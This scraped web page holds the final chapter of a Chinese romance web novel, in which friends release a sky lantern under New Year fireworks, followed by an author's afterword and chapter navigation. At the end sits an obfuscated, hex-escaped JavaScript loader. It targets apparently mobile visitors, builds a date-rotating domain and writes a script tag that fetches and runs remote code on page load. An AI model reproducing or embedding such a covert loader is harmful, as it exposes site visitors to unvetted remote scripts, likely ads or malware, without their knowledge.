“当山峰没有棱角的时候一一当河水不再流一一”几个人回过神来,看着眼前这只承载着他们愿望的孔明灯即将升空,胸腔里涌动着同样滚烫的热血与感动。

杨知非更紧地握住了薛晓京的手,许岁眠将头深深埋进谢卓宁的怀里,她突然很想流泪,为这永不熄灭的热血的青春,为这跨越山海依然炽热的家国情怀,为这群可爱自由的灵魂。

她眼睛通红地抬起头,与谢卓宁深深对视,耳边是震天动地的合唱:“我还是不能和你分散一一不能和你分散一-你的笑容是我今生最大的眷恋一一”他们六个人紧紧地肩并肩粘成一排,深呼吸,看着那盏载着他们所有秘密愿望的孔明灯,晃晃悠悠地,升高,再升高,融入那片星光点点的夜空。“走啊!一起嗨!"何家瑞搂着霍然的脖子,薛晓京拉着杨知非,一起加入了那个摇着国旗、疯狂转圈的人群里。

他们声嘶力竭地跟着唱,那声音地动山摇:“让我们红尘作伴一-活得潇潇洒洒一一策马奔腾共享人世繁华一”

“对酒当歌一一唱出心中喜悦一一轰轰烈烈一-把握青春年华一一”在歌曲最后“啊~啊~啊啊啊~"的高潮部分,夜空中,突然“砰砰砰砰”炸开无数巨大绚烂无比的烟花!!如同一场盛大的加冕礼,瞬间点亮了整个海滩和夜空!

所有人,无论国籍,无论肤色,都在这一刻用各种语言欢呼起来:“新年快乐!”“Freedom!“明天会更好!”许岁眠的头紧紧靠在谢卓宁怀中,眼泪终于忍不住夺眶而出。谢卓宁用力搂着她,低头将一个温柔的吻,印在她的额头。就在这时,一阵温柔的海风吹过,他们那盏已经升得很高的孔明灯,正好被吹得翻转,谢卓宁那张原本叠好的卡片,被风吹开,在漫天烟火的照耀下,那一行力透纸背的字清晰地映入许岁眠朦胧的泪眼一一「宁得岁岁吵,家国共长天。」<3

人间烟火灼身,菩萨蘸取眉间一寸雪,救不了苦。唯愿你我,且尽杯中酒,醉倒花前,及时行乐。

2025.11.7菜紫<1

全文完<18

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");